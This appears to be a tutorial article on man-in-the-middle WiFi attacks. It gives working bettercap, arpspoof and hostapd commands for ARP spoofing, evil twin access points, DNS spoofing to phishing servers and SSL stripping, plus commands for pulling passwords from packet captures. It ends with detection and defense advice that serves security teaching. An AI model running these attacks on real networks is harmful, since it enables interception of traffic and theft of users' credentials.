Man-in-the-Middle WiFi Attacks

3 min readArticle

A MITM attack positions the attacker between two communicating parties so all traffic flows through them. On WiFi, this is achieved at Layer 2 via ARP spoofing (on the same subnet) or at Layer 1/2 via a rogue AP. The attacker can intercept, inspect, modify, and inject traffic.

Attack Vectors Overview

Technique	Layer	Requires	Best Against
ARP Spoofing	L2	Same subnet	Wired + WiFi LAN
Evil Twin / Rogue AP	L1/L2	Second WiFi card	Open/weak WPA networks
DHCP Spoofing	L3	Faster DHCP response	Network join events
SSL Stripping	L7	ARP spoof first	HTTP traffic, no HSTS
DNS Spoofing	L3/L7	ARP spoof or rogue AP	Unencrypted DNS

ARP Spoofing

ARP has no authentication. Any device can send a gratuitous ARP claiming to be the gateway — the victim updates its ARP table and routes all traffic through the attacker.

With Bettercap (recommended):

bash

sudo bettercap -iface eth0

# In the bettercap shell:
set arp.spoof.fullduplex true        # spoof both victim→gateway AND gateway→victim
set arp.spoof.targets 192.168.1.100  # specific target (omit for whole subnet)
arp.spoof on
net.sniff on                         # auto-capture and parse credentials

With arpspoof (manual):

bash

sudo sysctl -w net.ipv4.ip_forward=1        # forward traffic, don't drop it
sudo arpspoof -i eth0 -t 192.168.1.100 192.168.1.1   # tell victim you are the gateway
sudo arpspoof -i eth0 -t 192.168.1.1 192.168.1.100   # tell gateway you are the victim

Evil Twin (Rogue AP)

Create a fake AP with the same SSID as a legitimate one. Clients connect thinking it is real. Works best against open networks; combined with deauth forces clients off the real AP.

bash

# Bettercap evil twin:
set wifi.ap.ssid "CoffeeShop_Free"
set wifi.ap.channel 6
wifi.ap on

# Or with hostapd + dnsmasq for full control:
# /etc/hostapd/hostapd.conf  →  interface=wlan1, ssid=Target, channel=6
# /etc/dnsmasq.conf          →  dhcp-range=10.0.0.10,10.0.0.100
# iptables NAT so clients get internet through your uplink

DNS Spoofing

After ARP spoofing, intercept DNS queries and return attacker-controlled IPs to redirect traffic to phishing pages:

bash

# Bettercap DNS spoof:
set dns.spoof.domains example.com,bank.com
set dns.spoof.address 192.168.1.200    # your phishing server IP
dns.spoof on

SSL Stripping

Intercepts HTTP-to-HTTPS redirects and serves the victim plain HTTP while maintaining HTTPS upstream. See ssl-stripping-attack.md for full detail.

bash

set https.proxy.sslstrip true
http.proxy on
https.proxy on

Traffic Capture and Credential Extraction

bash

# Capture everything while MITM is active
sudo tcpdump -i eth0 -w /tmp/mitm.pcap not host <attacker_ip>

# Quick credential grep from capture
strings /tmp/mitm.pcap | grep -iE "password|passwd|user=|login"

# Parse HTTP POST bodies in Wireshark/tshark
tshark -r /tmp/mitm.pcap -Y "http.request.method==POST" -T fields -e http.file_data

Detection

bash

# Check ARP table for gateway MAC anomaly
arp -n
# If your gateway IP maps to a locally-administered MAC (x2/x6/xA/xE bytes) — suspicious

# arpwatch alerts on changed MAC/IP pairings
sudo arpwatch -i eth0
tail -f /var/log/syslog | grep arpwatch

# Wireshark: spot gratuitous ARPs (duplicate address announcements)
arp.duplicate-address-detected

Network-level: managed switches with Dynamic ARP Inspection (DAI) block unsolicited ARP replies. 802.1X prevents rogue devices from joining the LAN segment.

Defense Summary

HTTPS + HSTS preloading: browser refuses HTTP even if ARP-spoofed and SSL-stripped
VPN: encrypts all traffic — attacker sees only the VPN tunnel
Dynamic ARP Inspection: enable on managed switches, ties ARP replies to DHCP bindings
802.1X port authentication: every device must authenticate before LAN access
Certificate pinning: mobile apps that pin certs resist evil twin + SSL strip completely
Static ARP entries for the gateway on critical hosts: arp -s 192.168.1.1 AA:BB:CC:DD:EE:FF

techzonesite.comUnlock Your IT Potential